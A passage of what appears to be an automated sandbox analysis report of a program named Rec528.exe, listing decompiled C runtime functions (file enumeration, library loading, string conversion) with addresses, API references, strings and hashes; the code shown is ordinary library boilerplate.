															__eflags = _t249;
															_v648 = _t249 >> 2;
															do {
																_v640 = _t226;
																_v636 = _t226;
																_v632 = _t226;
																_v628 = _t226;
																_v624 = _t226;
																_v620 = _t226;
																_t185 = E00423AEF( &(_v608.cFileName),  &_v640,  &_v609, E00423A98(_t278, __eflags));
																_t313 = _t313 + 0x10;
																asm("sbb eax, eax");
																_t188 =  !( ~_t185) & _v632;
																__eflags =  *_t188 - 0x2e;
																if( *_t188 != 0x2e) {
																	L67:
																	_push(_v616);
																	_push(_v644);
																	_push(_t287);
																	_push(_t188);
																	L33();
																	_t313 = _t313 + 0x10;
																	_v652 = _t188;
																	__eflags = _t188;
																	if(_t188 != 0) {
																		__eflags = _v620 - _t226;
																		if(_v620 != _t226) {
																			E0041E238(_v632);
																			_t188 = _v652;
																		}
																		_t226 = _t188;
																	} else {
																		goto L68;
																	}
																} else {
																	_t255 =  *((intOrPtr*)(_t188 + 1));
																	__eflags = _t255;
																	if(_t255 == 0) {
																		goto L68;
																	} else {
																		__eflags = _t255 - 0x2e;
																		if(_t255 != 0x2e) {
																			goto L67;
																		} else {
																			__eflags =  *((intOrPtr*)(_t188 + 2)) - _t226;
																			if( *((intOrPtr*)(_t188 + 2)) == _t226) {
																				goto L68;
																			} else {
																				goto L67;
																			}
																		}
																	}
																}
																L76:
																FindClose(_t301);
																goto L77;
																L68:
																__eflags = _v620 - _t226;
																if(_v620 != _t226) {
																	E0041E238(_v632);
																}
																__eflags = FindNextFileW(_t301,  &_v608);
															} while (__eflags != 0);
															_t196 = _v616;
															_t257 = _v648;
															_t278 =  *_t196;
															_t199 =  *((intOrPtr*)(_t196 + 4)) -  *_t196 >> 2;
															__eflags = _t257 - _t199;
															if(_t257 != _t199) {
																E00416560(_t278, _t278 + _t257 * 4, _t199 - _t257, 4, E00423AD7);
															}
															goto L76;
														} else {
															_push(_v616);
															_push(_t226);
															_push(_t226);
															_push(_t287);
															L33();
															_t226 = _t179;
														}
														L77:
														__eflags = _v656;
														_pop(_t300);
														if(_v656 != 0) {
															E0041E238(_v668);
														}
														_t190 = _t226;
													} else {
														_t190 = _t287 + 1;
														__eflags = _t244 - _t287 + 1;
														if(_t244 == _t287 + 1) {
															_t168 = _v609;
															goto L56;
														} else {
															_push(_t278);
															_push(0);
															_push(0);
															_push(_t287);
															L33();
														}
													}
													_pop(_t288);
													__eflags = _v16 ^ _t307;
													_pop(_t227);
													return E0040EB3F(_t190, _t227, _v16 ^ _t307, _t278, _t288, _t300);
												} else {
													goto L40;
												}
											}
										} else {
											_t209 = 0xc;
											L37:
											return _t209;
										}
									} else {
										goto L23;
									}
									goto L81;
									L23:
									_t212 = _v12;
									_t263 = _v16;
									 *((intOrPtr*)(_v32 + _t212)) = _t263;
									_t140 = _t212 + 4;
									_t233 = _t263 + _v20;
									_v16 = _t233;
									_v12 = _t140;
									__eflags = _t140 - _v40;
								} while (_t140 != _v40);
								goto L24;
							}
						} else {
							_t297 = _t296 | 0xffffffff;
							_v12 = _t297;
							L25:
							E0041E238(_t222);
							_pop(_t234);
							goto L26;
						}
					} else {
						while(1) {
							_v8 = 0x3f2a;
							_v6 = _t222;
							_t217 = E0042B050(_t132,  &_v8);
							_t234 =  *_t292;
							__eflags = _t217;
							if(_t217 != 0) {
								_push( &(_v608.cAlternateFileName));
								_push(_t217);
								_push(_t234);
								L46();
								_t309 = _t309 + 0xc;
								_v12 = _t217;
								_t297 = _t217;
							} else {
								_t218 =  &(_v608.cAlternateFileName);
								_push(_t218);
								_push(_t222);
								_push(_t222);
								_push(_t234);
								L33();
								_t297 = _t218;
								_t309 = _t309 + 0x10;
								_v12 = _t297;
							}
							__eflags = _t297;
							if(_t297 != 0) {
								break;
							}
							_t292 =  &(_a4[1]);
							_a4 = _t292;
							_t132 =  *_t292;
							__eflags = _t132;
							if(_t132 != 0) {
								continue;
							} else {
								_t283 = _v608.cAlternateFileName;
								_t232 = _v40;
								goto L9;
							}
							goto L81;
						}
						_t283 = _v608.cAlternateFileName;
						L26:
						_t272 = _t283;
						_v32 = _t272;
						__eflags = _v40 - _t272;
						asm("sbb ecx, ecx");
						_t236 =  !_t234 & _v40 - _t272 + 0x00000003 >> 0x00000002;
						__eflags = _t236;
						_v28 = _t236;
						if(_t236 != 0) {
							_t299 = _t236;
							do {
								E0041E238( *_t283);
								_t222 = _t222 + 1;
								_t283 = _t283 + 4;
								__eflags = _t222 - _t299;
							} while (_t222 != _t299);
							_t283 = _v608.cAlternateFileName;
							_t297 = _v12;
						}
						E0041E238(_t283);
						goto L31;
					}
				} else {
					_t219 = E00413571(_t317);
					_t297 = 0x16;
					 *_t219 = _t297;
					E00413497();
					L31:
					return _t297;
				}
				L81:
			}

0x00423bc3
0x00423bc6
0x00423bc9
0x00423bca
0x00423bcc
0x00423be2
0x00423be6
0x00423be9
0x00423beb
0x00423bed
0x00423bef
0x00423bf1
0x00423bf4
0x00423bf7
0x00423bfa
0x00423bfc
0x00423c5f
0x00423c61
0x00423c64
0x00423c66
0x00423c6a
0x00423c73
0x00423c74
0x00423c77
0x00423c79
0x00423c7c
0x00423c80
0x00423c80
0x00423c82
0x00423c84
0x00423c86
0x00423c88
0x00423c88
0x00423c8d
0x00423c90
0x00423c90
0x00423c92
0x00423c93
0x00423c93
0x00423c9e
0x00423ca0
0x00423ca3
0x00423ca4
0x00423ca7
0x00423ca7
0x00423cab
0x00423cae
0x00423cb1
0x00423cb1
0x00423cb1
0x00423cbe
0x00423cc0
0x00423cc3
0x00423cc5
0x00423cdd
0x00423ce0
0x00423ce3
0x00423ce5
0x00423ce8
0x00423cea
0x00423ced
0x00423cf0
0x00423d4d
0x00423d50
0x00423d53
0x00423d55
0x00000000
0x00423cf2
0x00423cf4
0x00423cf4
0x00423cf6
0x00423cf9
0x00423cf9
0x00423cfb
0x00423cfd
0x00423d03
0x00423d06
0x00423d06
0x00423d08
0x00423d09
0x00423d09
0x00423d10
0x00423d13
0x00423d17
0x00423d24
0x00423d29
0x00423d2c
0x00423d2e
0x00423da2
0x00423da3
0x00423da4
0x00423da5
0x00423da6
0x00423da7
0x00423dac
0x00423db0
0x00423db2
0x00423db3
0x00423db6
0x00423db9
0x00423db9
0x00423dbb
0x00423dbc
0x00423dbc
0x00423dc0
0x00423dc1
0x00423dc8
0x00423dcb
0x00423dce
0x00423dd0
0x00423dd8
0x00423dd9
0x00423ddd
0x00423de7
0x00423deb
0x00423ded
0x00423e01
0x00423e01
0x00423e04
0x00423e0e
0x00423e13
0x00423e16
0x00423e18
0x00000000
0x00423e1a
0x00423e1a
0x00423e1f
0x00423e26
0x00423e29
0x00423e2b
0x00423e3c
0x00423e3e
0x00423e40
0x00423e40
0x00423e40
0x00423e2d
0x00423e2e
0x00423e33
0x00423e36
0x00423e45
0x00423e4b
0x00000000
0x00423e4e
0x00423def
0x00423def
0x00423df5
0x00423dfa
0x00423dfd
0x00423dff
0x00423e51
0x00423e53
0x00423e54
0x00423e55
0x00423e56
0x00423e57
0x00423e58
0x00423e5d
0x00423e60
0x00423e61
0x00423e63
0x00423e69
0x00423e70
0x00423e73
0x00423e76
0x00423e79
0x00423e7a
0x00423e7b
0x00423e7e
0x00423e84
0x00423e86
0x00423e88
0x00423e88
0x00423e8a
0x00423e8c
0x00000000
0x00000000
0x00423e8e
0x00423e90
0x00423e92
0x00423e94
0x00423e9f
0x00423ea1
0x00423ea3
0x00000000
0x00000000
0x00423ea3
0x00423e94
0x00000000
0x00423e90
0x00423ea5
0x00423ea5
0x00423eab
0x00423ead
0x00423eb3
0x00423eb5
0x00423ed7
0x00423ed7
0x00423ed9
0x00423edb
0x00423ee7
0x00423ee7
0x00423edd
0x00423edd
0x00423edf
0x00000000
0x00423ee1
0x00423ee1
0x00423ee3
0x00423ee5
0x00000000
0x00000000
0x00423ee5
0x00423edf
0x00423eef
0x00423ef7
0x00423efd
0x00423efe
0x00423f00
0x00423f08
0x00423f0e
0x00423f14
0x00423f1a
0x00423f2e
0x00423f33
0x00423f3e
0x00423f4e
0x00423f54
0x00423f56
0x00423f59
0x00423f7c
0x00423f7c
0x00423f81
0x00423f87
0x00423f87
0x00423f8d
0x00423f93
0x00423f99
0x00423f9f
0x00423fa5
0x00423fc6
0x00423fcb
0x00423fd0
0x00423fd4
0x00423fda
0x00423fdd
0x00423ff0
0x00423ff0
0x00423ff6
0x00423ffc
0x00423ffd
0x00423ffe
0x00424003
0x00424006
0x0042400c
0x0042400e
0x0042406c
0x00424072
0x0042407a
0x0042407f
0x00424085
0x00424086
0x00000000
0x00000000
0x00000000
0x00423fdf
0x00423fdf
0x00423fe2
0x00423fe4
0x00000000
0x00423fe6
0x00423fe6
0x00423fe9
0x00000000
0x00423feb
0x00423feb
0x00423fee
0x00000000
0x00000000
0x00000000
0x00000000
0x00423fee
0x00423fe9
0x00423fe4
0x00424088
0x00424089
0x00000000
0x00424010
0x00424010
0x00424016
0x0042401e
0x00424023
0x00424032
0x00424032
0x0042403a
0x00424040
0x00424046
0x0042404d
0x00424050
0x00424052
0x00424062
0x00424067
0x00000000
0x00423f5b
0x00423f5b
0x00423f61
0x00423f62
0x00423f63
0x00423f64
0x00423f6c
0x00423f6c
0x0042408f
0x0042408f
0x00424096
0x00424097
0x0042409f
0x004240a4
0x004240a5
0x00423eb7
0x00423eb7
0x00423eba
0x00423ebc
0x00423ed1
0x00000000
0x00423ebe
0x00423ebe
0x00423ec1
0x00423ec2
0x00423ec3
0x00423ec4
0x00423ec9
0x00423ebc
0x004240aa
0x004240ab
0x004240ad
0x004240b4
0x00000000
0x00000000
0x00000000
0x00423dff
0x00423dd2
0x00423dd4
0x00423dd5
0x00423dd7
0x00423dd7
0x00000000
0x00000000
0x00000000
0x00000000
0x00423d30
0x00423d30
0x00423d36
0x00423d39
0x00423d3c
0x00423d3f
0x00423d42
0x00423d45
0x00423d48
0x00423d48
0x00000000
0x00423cf9
0x00423cc7
0x00423cc7
0x00423cca
0x00423d57
0x00423d58
0x00423d5d
0x00000000
0x00423d5d
0x00423bfe
0x00423bfe
0x00423c01
0x00423c09
0x00423c0c
0x00423c13
0x00423c15
0x00423c17
0x00423c32
0x00423c33
0x00423c34
0x00423c35
0x00423c3a
0x00423c3d
0x00423c40
0x00423c19
0x00423c19
0x00423c1c
0x00423c1d
0x00423c1e
0x00423c1f
0x00423c20
0x00423c25
0x00423c27
0x00423c2a
0x00423c2a
0x00423c42
0x00423c44
0x00000000
0x00000000
0x00423c4d
0x00423c50
0x00423c53
0x00423c55
0x00423c57
0x00000000
0x00423c59
0x00423c59
0x00423c5c
0x00000000
0x00423c5c
0x00000000
0x00423c57
0x00423cd2
0x00423d5e
0x00423d61
0x00423d65
0x00423d6e
0x00423d71
0x00423d75
0x00423d75
0x00423d77
0x00423d7a
0x00423d7c
0x00423d7e
0x00423d80
0x00423d85
0x00423d86
0x00423d8a
0x00423d8a
0x00423d8e
0x00423d91
0x00423d91
0x00423d95
0x00000000
0x00423d9c
0x00423bce
0x00423bce
0x00423bd5
0x00423bd6
0x00423bd8
0x00423d9d
0x00423da1
0x00423da1
0x00000000

APIs

_strpbrk.LIBCMT ref: 00423C0C
_free.LIBCMT ref: 00423D58

Strings

*?, xrefs: 00423C01

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: _free_strpbrk
String ID: *?
API String ID: 3300345361-2564092906
Opcode ID: a050ba51c68dd2f6a83959d6b4595b7304e937643ef59868ca146369180ad406
Instruction ID: 846575285fb30ed8b0b9d1186e53a9d051e6042786000a689b02c8d31ca96f1d
Opcode Fuzzy Hash: a050ba51c68dd2f6a83959d6b4595b7304e937643ef59868ca146369180ad406
Instruction Fuzzy Hash: 94616F76E002299FCB14CFA9D8815EEFBF5EF48314B64816AE815F7300D739AE418B94

Uniqueness

Uniqueness Score: -1.00%

Function 00424183 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00424183(intOrPtr* _a4, intOrPtr _a8, intOrPtr _a16) {
				intOrPtr _t14;
				intOrPtr _t15;
				intOrPtr _t17;
				intOrPtr _t36;
				intOrPtr* _t38;
				intOrPtr _t39;

				_t38 = _a4;
				if(_t38 != 0) {
					__eflags =  *_t38;
					if( *_t38 != 0) {
						_t14 = E00420014(_a16, 0, _t38, 0xffffffff, 0, 0, 0, 0);
						__eflags = _t14;
						if(__eflags != 0) {
							_t36 = _a8;
							__eflags = _t14 -  *((intOrPtr*)(_t36 + 0xc));
							if(_t14 <=  *((intOrPtr*)(_t36 + 0xc))) {
								L10:
								_t15 = E00420014(_a16, 0, _t38, 0xffffffff,  *((intOrPtr*)(_t36 + 8)),  *((intOrPtr*)(_t36 + 0xc)), 0, 0);
								__eflags = _t15;
								if(__eflags != 0) {
									 *((intOrPtr*)(_t36 + 0x10)) = _t15 - 1;
									_t17 = 0;
									__eflags = 0;
								} else {
									E0041353B(GetLastError());
									_t17 =  *((intOrPtr*)(E00413571(__eflags)));
								}
								L13:
								L14:
								return _t17;
							}
							_t17 = E00419D12(_t36, _t14);
							__eflags = _t17;
							if(_t17 != 0) {
								goto L13;
							}
							goto L10;
						}
						E0041353B(GetLastError());
						_t17 =  *((intOrPtr*)(E00413571(__eflags)));
						goto L14;
					}
					_t39 = _a8;
					__eflags =  *((intOrPtr*)(_t39 + 0xc));
					if( *((intOrPtr*)(_t39 + 0xc)) != 0) {
						L5:
						 *((char*)( *((intOrPtr*)(_t39 + 8)))) = 0;
						_t17 = 0;
						 *((intOrPtr*)(_t39 + 0x10)) = 0;
						goto L14;
					}
					_t17 = E00419D12(_t39, "true");
					__eflags = _t17;
					if(_t17 != 0) {
						goto L14;
					}
					goto L5;
				}
				E00419D97(_a8);
				return 0;
			}

0x00424189
0x0042418e
0x004241a2
0x004241a5
0x004241d7
0x004241df
0x004241e1
0x004241fa
0x004241fd
0x00424200
0x0042420e
0x0042421d
0x00424225
0x00424227
0x00424240
0x00424243
0x00424243
0x00424229
0x00424230
0x0042423b
0x0042423b
0x00424245
0x00424246
0x00000000
0x00424246
0x00424205
0x0042420a
0x0042420c
0x00000000
0x00000000
0x00000000
0x0042420c
0x004241ea
0x004241f5
0x00000000
0x004241f5
0x004241a7
0x004241aa
0x004241ad
0x004241c0
0x004241c3
0x004241c5
0x004241c7
0x00000000
0x004241c7
0x004241b3
0x004241b8
0x004241ba
0x00000000
0x00000000
0x00000000
0x004241ba
0x00424193
0x00000000

Strings

C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe, xrefs: 00424188

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe
API String ID: 0-539802811
Opcode ID: 69ef0a19d16ed832991be1ac6899432db3f95619588f9b7e4da384f3d8da2b51
Instruction ID: 1c83ee6ce718a323a59e8e56696b4919b5b9745967e824b7eefe41a64fd425fc
Opcode Fuzzy Hash: 69ef0a19d16ed832991be1ac6899432db3f95619588f9b7e4da384f3d8da2b51
Instruction Fuzzy Hash: F7210771700125BF9B20AF62EC80E7B77ADEF803A8750451AF91593250E738ED818779

Uniqueness

Uniqueness Score: -1.00%

Function 100082C6 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E100082C6(intOrPtr* _a4, intOrPtr _a8, intOrPtr _a16) {
				intOrPtr _t14;
				intOrPtr _t15;
				intOrPtr _t17;
				intOrPtr _t36;
				intOrPtr* _t38;
				intOrPtr _t39;

				_t38 = _a4;
				if(_t38 != 0) {
					__eflags =  *_t38;
					if( *_t38 != 0) {
						_t14 = E10008D54(_a16, 0, _t38, 0xffffffff, 0, 0, 0, 0);
						__eflags = _t14;
						if(__eflags != 0) {
							_t36 = _a8;
							__eflags = _t14 -  *((intOrPtr*)(_t36 + 0xc));
							if(_t14 <=  *((intOrPtr*)(_t36 + 0xc))) {
								L10:
								_t15 = E10008D54(_a16, 0, _t38, 0xffffffff,  *((intOrPtr*)(_t36 + 8)),  *((intOrPtr*)(_t36 + 0xc)), 0, 0);
								__eflags = _t15;
								if(__eflags != 0) {
									 *((intOrPtr*)(_t36 + 0x10)) = _t15 - 1;
									_t17 = 0;
									__eflags = 0;
								} else {
									E10005880(GetLastError());
									_t17 =  *((intOrPtr*)(E100058B6(__eflags)));
								}
								L13:
								L14:
								return _t17;
							}
							_t17 = E1000838D(_t36, _t14);
							__eflags = _t17;
							if(_t17 != 0) {
								goto L13;
							}
							goto L10;
						}
						E10005880(GetLastError());
						_t17 =  *((intOrPtr*)(E100058B6(__eflags)));
						goto L14;
					}
					_t39 = _a8;
					__eflags =  *((intOrPtr*)(_t39 + 0xc));
					if( *((intOrPtr*)(_t39 + 0xc)) != 0) {
						L5:
						 *((char*)( *((intOrPtr*)(_t39 + 8)))) = 0;
						_t17 = 0;
						 *((intOrPtr*)(_t39 + 0x10)) = 0;
						goto L14;
					}
					_t17 = E1000838D(_t39, "true");
					__eflags = _t17;
					if(_t17 != 0) {
						goto L14;
					}
					goto L5;
				}
				E100083B4(_a8);
				return 0;
			}

0x100082cc
0x100082d1
0x100082e5
0x100082e8
0x1000831a
0x10008322
0x10008324
0x1000833d
0x10008340
0x10008343
0x10008351
0x10008360
0x10008368
0x1000836a
0x10008383
0x10008386
0x10008386
0x1000836c
0x10008373
0x1000837e
0x1000837e
0x10008388
0x10008389
0x00000000
0x10008389
0x10008348
0x1000834d
0x1000834f
0x00000000
0x00000000
0x00000000
0x1000834f
0x1000832d
0x10008338
0x00000000
0x10008338
0x100082ea
0x100082ed
0x100082f0
0x10008303
0x10008306
0x10008308
0x1000830a
0x00000000
0x1000830a
0x100082f6
0x100082fb
0x100082fd
0x00000000
0x00000000
0x00000000
0x100082fd
0x100082d6
0x00000000

Strings

C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe, xrefs: 100082CB

Memory Dump Source

Source File: 00000002.00000002.444227906.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.444222035.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444250989.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444265818.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_Rec528.jbxd

Similarity

API ID:
String ID: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe
API String ID: 0-539802811
Opcode ID: b72c5ebd37eaa0accd3c637509d56c24bcaa2fc4d89808ee85530bdd725d0918
Instruction ID: 4547eaa058a99011976ff370ab0f1f23031d39ce27107f45607d9abb19294704
Opcode Fuzzy Hash: b72c5ebd37eaa0accd3c637509d56c24bcaa2fc4d89808ee85530bdd725d0918
Instruction Fuzzy Hash: E9218B7560020AEFF710DF618C80A1B77ADFF806E4B158625F99497298EF31EF408BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00412EF7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00412EF7(void* __ecx, signed int* _a4, intOrPtr _a8) {
				WCHAR* _v8;
				signed int _t11;
				WCHAR* _t12;
				struct HINSTANCE__* _t16;
				struct HINSTANCE__* _t18;
				signed int* _t22;
				signed int* _t26;
				struct HINSTANCE__* _t29;
				WCHAR* _t31;
				void* _t32;

				_t26 = _a4;
				while(_t26 != _a8) {
					_t11 =  *_t26;
					_t22 = 0x4505f0 + _t11 * 4;
					_t29 =  *_t22;
					if(_t29 == 0) {
						_t12 =  *(0x42fb4c + _t11 * 4);
						_v8 = _t12;
						_t29 = LoadLibraryExW(_t12, 0, 0x800);
						if(_t29 != 0) {
							L13:
							 *_t22 = _t29;
							if( *_t22 != 0) {
								FreeLibrary(_t29);
							}
							L15:
							_t16 = _t29;
							L12:
							return _t16;
						}
						_t18 = GetLastError();
						if(_t18 != 0x57) {
							L8:
							 *_t22 = _t18 | 0xffffffff;
							L9:
							_t26 =  &(_t26[1]);
							continue;
						}
						_t31 = _v8;
						_t18 = E00416234(_t31, L"api-ms-", 7);
						_t32 = _t32 + 0xc;
						if(_t18 == 0) {
							goto L8;
						}
						_t18 = LoadLibraryExW(_t31, 0, 0);
						_t29 = _t18;
						if(_t29 != 0) {
							goto L13;
						}
						goto L8;
					}
					if(_t29 != 0xffffffff) {
						goto L15;
					}
					goto L9;
				}
				_t16 = 0;
				goto L12;
			}

0x00412efe
0x00412f72
0x00412f03
0x00412f05
0x00412f0c
0x00412f10
0x00412f19
0x00412f28
0x00412f31
0x00412f35
0x00412f7e
0x00412f80
0x00412f84
0x00412f87
0x00412f87
0x00412f8d
0x00412f8d
0x00412f79
0x00412f7d
0x00412f7d
0x00412f37
0x00412f40
0x00412f6a
0x00412f6d
0x00412f6f
0x00412f6f
0x00000000
0x00412f6f
0x00412f42
0x00412f4d
0x00412f52
0x00412f57
0x00000000
0x00000000
0x00412f5e
0x00412f64
0x00412f68
0x00000000
0x00000000
0x00000000
0x00412f68
0x00412f15
0x00000000
0x00000000
0x00000000
0x00412f17
0x00412f77
0x00000000

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,00412FB8,?,?,00450598,00000000,?,004130E3,00000004,InitializeCriticalSectionEx,0042FC40,InitializeCriticalSectionEx,00000000), ref: 00412F87

Strings

api-ms-, xrefs: 00412F47

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: 1a234b940769df153807f2f8457fd7efa6b9557a3f6a313264f62211ba6c1823
Instruction ID: f085532e949928cafa33473dd2a941981fdd0a3c30986f273564dbd30c8d3604
Opcode Fuzzy Hash: 1a234b940769df153807f2f8457fd7efa6b9557a3f6a313264f62211ba6c1823
Instruction Fuzzy Hash: 3D11E331B41221ABDB324B699D44B9A73B4AF01760F550232F901E7380D7B8ED53A6DD

Uniqueness

Uniqueness Score: -1.00%

Function 10004E02 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E10004E02(void* __ecx, signed int* _a4, intOrPtr _a8) {
				WCHAR* _v8;
				signed int _t11;
				WCHAR* _t12;
				struct HINSTANCE__* _t16;
				struct HINSTANCE__* _t18;
				signed int* _t22;
				signed int* _t26;
				struct HINSTANCE__* _t29;
				WCHAR* _t31;
				void* _t32;

				_t26 = _a4;
				while(_t26 != _a8) {
					_t11 =  *_t26;
					_t22 = 0x10017d60 + _t11 * 4;
					_t29 =  *_t22;
					if(_t29 == 0) {
						_t12 =  *(0x10010be0 + _t11 * 4);
						_v8 = _t12;
						_t29 = LoadLibraryExW(_t12, 0, 0x800);
						if(_t29 != 0) {
							L13:
							 *_t22 = _t29;
							if( *_t22 != 0) {
								FreeLibrary(_t29);
							}
							L15:
							_t16 = _t29;
							L12:
							return _t16;
						}
						_t18 = GetLastError();
						if(_t18 != 0x57) {
							L8:
							 *_t22 = _t18 | 0xffffffff;
							L9:
							_t26 =  &(_t26[1]);
							continue;
						}
						_t31 = _v8;
						_t18 = E10006A88(_t31, L"api-ms-", 7);
						_t32 = _t32 + 0xc;
						if(_t18 == 0) {
							goto L8;
						}
						_t18 = LoadLibraryExW(_t31, 0, 0);
						_t29 = _t18;
						if(_t29 != 0) {
							goto L13;
						}
						goto L8;
					}
					if(_t29 != 0xffffffff) {
						goto L15;
					}
					goto L9;
				}
				_t16 = 0;
				goto L12;
			}

0x10004e09
0x10004e7d
0x10004e0e
0x10004e10
0x10004e17
0x10004e1b
0x10004e24
0x10004e33
0x10004e3c
0x10004e40
0x10004e89
0x10004e8b
0x10004e8f
0x10004e92
0x10004e92
0x10004e98
0x10004e98
0x10004e84
0x10004e88
0x10004e88
0x10004e42
0x10004e4b
0x10004e75
0x10004e78
0x10004e7a
0x10004e7a
0x00000000
0x10004e7a
0x10004e4d
0x10004e58
0x10004e5d
0x10004e62
0x00000000
0x00000000
0x10004e69
0x10004e6f
0x10004e73
0x00000000
0x00000000
0x00000000
0x10004e73
0x10004e20
0x00000000
0x00000000
0x00000000
0x10004e22
0x10004e82
0x00000000

APIs

FreeLibrary.KERNEL32(00000000,?,?,10004EC3,00000000,?,00000001,00000000,?,10004F3A,?,FlsFree,10010C9C,FlsFree,00000000), ref: 10004E92

Strings

api-ms-, xrefs: 10004E52

Memory Dump Source

Source File: 00000002.00000002.444227906.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.444222035.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444250989.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444265818.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_Rec528.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: 65ff119352e348430867d9e0b4ab3439ca5bc504b167d29d587c63b2598ba15b
Instruction ID: 8f0826e2f742de8eaedcfcc59a6f9a9b2a198bd7cc29cccb56a48560d59707ab
Opcode Fuzzy Hash: 65ff119352e348430867d9e0b4ab3439ca5bc504b167d29d587c63b2598ba15b
Instruction Fuzzy Hash: 88114272A45665ABFB22DB68CC44B4936A4FB057F0F234260F954A72D4DF70ED0086D9

Uniqueness

Uniqueness Score: -1.00%

Function 00417B71 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 25%

			E00417B71(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				_Unknown_base(*)()* _t8;
				_Unknown_base(*)()* _t14;

				_v8 = _v8 & 0x00000000;
				_t8 =  &_v8;
				__imp__GetModuleHandleExW(0, L"mscoree.dll", _t8, __ecx);
				if(_t8 != 0) {
					_t8 = GetProcAddress(_v8, "CorExitProcess");
					_t14 = _t8;
					if(_t14 != 0) {
						 *0x42e234(_a4);
						_t8 =  *_t14();
					}
				}
				if(_v8 != 0) {
					return FreeLibrary(_v8);
				}
				return _t8;
			}

0x00417b77
0x00417b7b
0x00417b86
0x00417b8e
0x00417b99
0x00417b9f
0x00417ba3
0x00417baa
0x00417bb0
0x00417bb0
0x00417bb2
0x00417bb7
0x00000000
0x00417bbc
0x00417bc3

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,00417B66,0041CB9F,?,00417B2E,00000000,?,0041CB9F), ref: 00417B86
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00417B99
FreeLibrary.KERNEL32(00000000,?,?,00417B66,0041CB9F,?,00417B2E,00000000,?,0041CB9F), ref: 00417BBC

Strings

mscoree.dll, xrefs: 00417B7F
CorExitProcess, xrefs: 00417B91

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 45b6e53430105db54ba727b51daa37ece34f640119c748234f3aa513a62590f8
Instruction ID: 884d441533d3cbcde9fceac08862ea4c08368bee60606d7f9997939667a48a9a
Opcode Fuzzy Hash: 45b6e53430105db54ba727b51daa37ece34f640119c748234f3aa513a62590f8
Instruction Fuzzy Hash: C7F08230605218FBDB219B51DD09FDE7F78EB00755F5040A1E801A21A0CB749F41DBA8

Uniqueness

Uniqueness Score: -1.00%

Function 10005F3A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 25%

			E10005F3A(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				_Unknown_base(*)()* _t8;
				_Unknown_base(*)()* _t14;

				_v8 = _v8 & 0x00000000;
				_t8 =  &_v8;
				__imp__GetModuleHandleExW(0, L"mscoree.dll", _t8, __ecx);
				if(_t8 != 0) {
					_t8 = GetProcAddress(_v8, "CorExitProcess");
					_t14 = _t8;
					if(_t14 != 0) {
						 *0x10010164(_a4);
						_t8 =  *_t14();
					}
				}
				if(_v8 != 0) {
					return FreeLibrary(_v8);
				}
				return _t8;
			}

0x10005f40
0x10005f44
0x10005f4f
0x10005f57
0x10005f62
0x10005f68
0x10005f6c
0x10005f73
0x10005f79
0x10005f79
0x10005f7b
0x10005f80
0x00000000
0x10005f85
0x10005f8c

APIs

